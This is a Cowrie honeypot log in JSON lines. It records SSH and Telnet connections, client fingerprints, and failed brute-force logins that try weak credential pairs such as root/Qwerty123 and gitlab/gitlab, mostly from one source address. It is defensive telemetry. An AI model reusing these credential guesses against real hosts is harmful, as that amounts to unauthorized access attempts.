{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58526,"dst_ip":"159.203.135.109","dst_port":22,"session":"051b9c9f883a","protocol":"ssh","message":"New connection: 176.65.139.95:58526 (159.203.135.109:22) [session: 051b9c9f883a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:44.955087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:44.959266Z","src_ip":"176.65.139.95","session":"051b9c9f883a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:45.047071Z","src_ip":"176.65.139.95","session":"051b9c9f883a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:45.313420Z","src_ip":"176.65.139.95","session":"051b9c9f883a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:46.458941Z","src_ip":"176.65.139.95","session":"051b9c9f883a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51666,"dst_ip":"159.203.135.109","dst_port":22,"session":"822b2c9e14f0","protocol":"ssh","message":"New connection: 176.65.139.95:51666 (159.203.135.109:22) [session: 822b2c9e14f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:51.630129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:51.640615Z","src_ip":"176.65.139.95","session":"822b2c9e14f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:51.713325Z","src_ip":"176.65.139.95","session":"822b2c9e14f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:52.509446Z","src_ip":"176.65.139.95","session":"822b2c9e14f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:53.605606Z","src_ip":"176.65.139.95","session":"822b2c9e14f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51686,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c29b1a8a521","protocol":"ssh","message":"New connection: 176.65.139.95:51686 (159.203.135.109:22) [session: 7c29b1a8a521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:58.377797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:58.383504Z","src_ip":"176.65.139.95","session":"7c29b1a8a521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:58.471356Z","src_ip":"176.65.139.95","session":"7c29b1a8a521","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:52:58.880724Z","src_ip":"176.65.139.95","session":"7c29b1a8a521","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:00.064984Z","src_ip":"176.65.139.95","session":"7c29b1a8a521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44214,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2a560cbd7ee","protocol":"ssh","message":"New connection: 176.65.139.95:44214 (159.203.135.109:22) [session: a2a560cbd7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:04.993244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:04.998024Z","src_ip":"176.65.139.95","session":"a2a560cbd7ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:05.080742Z","src_ip":"176.65.139.95","session":"a2a560cbd7ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:05.508857Z","src_ip":"176.65.139.95","session":"a2a560cbd7ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:06.594882Z","src_ip":"176.65.139.95","session":"a2a560cbd7ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35298,"dst_ip":"159.203.135.109","dst_port":22,"session":"05d33b1939ba","protocol":"ssh","message":"New connection: 159.203.92.129:35298 (159.203.135.109:22) [session: 05d33b1939ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:06.913735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:06.918597Z","src_ip":"159.203.92.129","session":"05d33b1939ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:06.923509Z","src_ip":"159.203.92.129","session":"05d33b1939ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LSPR","password":"LSPR","message":"login attempt [LSPR/LSPR] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:06.939952Z","src_ip":"159.203.92.129","session":"05d33b1939ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:07.947822Z","src_ip":"159.203.92.129","session":"05d33b1939ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52802,"dst_ip":"159.203.135.109","dst_port":22,"session":"6832f481af45","protocol":"ssh","message":"New connection: 176.65.139.95:52802 (159.203.135.109:22) [session: 6832f481af45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:11.628978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:11.636733Z","src_ip":"176.65.139.95","session":"6832f481af45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:11.855027Z","src_ip":"176.65.139.95","session":"6832f481af45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:12.255576Z","src_ip":"176.65.139.95","session":"6832f481af45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:13.347735Z","src_ip":"176.65.139.95","session":"6832f481af45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52816,"dst_ip":"159.203.135.109","dst_port":22,"session":"551eee806b1e","protocol":"ssh","message":"New connection: 176.65.139.95:52816 (159.203.135.109:22) [session: 551eee806b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:18.405664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:18.444131Z","src_ip":"176.65.139.95","session":"551eee806b1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:18.540413Z","src_ip":"176.65.139.95","session":"551eee806b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.37.53.34","src_port":59464,"dst_ip":"10.17.0.5","dst_port":23,"session":"65e9a303cfb9","protocol":"telnet","message":"New connection: 49.37.53.34:59464 (10.17.0.5:23) [session: 65e9a303cfb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:18.916073Z"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:18.957148Z","src_ip":"176.65.139.95","session":"551eee806b1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:20.053889Z","src_ip":"176.65.139.95","session":"551eee806b1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.43.169.9","src_port":46684,"dst_ip":"159.203.135.109","dst_port":23,"session":"895f3e90c51c","protocol":"telnet","message":"New connection: 49.43.169.9:46684 (159.203.135.109:23) [session: 895f3e90c51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:20.578942Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57548,"dst_ip":"159.203.135.109","dst_port":22,"session":"4313062426c1","protocol":"ssh","message":"New connection: 176.65.139.95:57548 (159.203.135.109:22) [session: 4313062426c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:25.193557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:25.198929Z","src_ip":"176.65.139.95","session":"4313062426c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:25.306373Z","src_ip":"176.65.139.95","session":"4313062426c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty123","message":"login attempt [root/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:25.624975Z","src_ip":"176.65.139.95","session":"4313062426c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:26.898994Z","src_ip":"176.65.139.95","session":"4313062426c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":37584,"dst_ip":"159.203.135.109","dst_port":22,"session":"782dc9d69122","protocol":"ssh","message":"New connection: 176.65.139.95:37584 (159.203.135.109:22) [session: 782dc9d69122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:53:31.778138Z"}
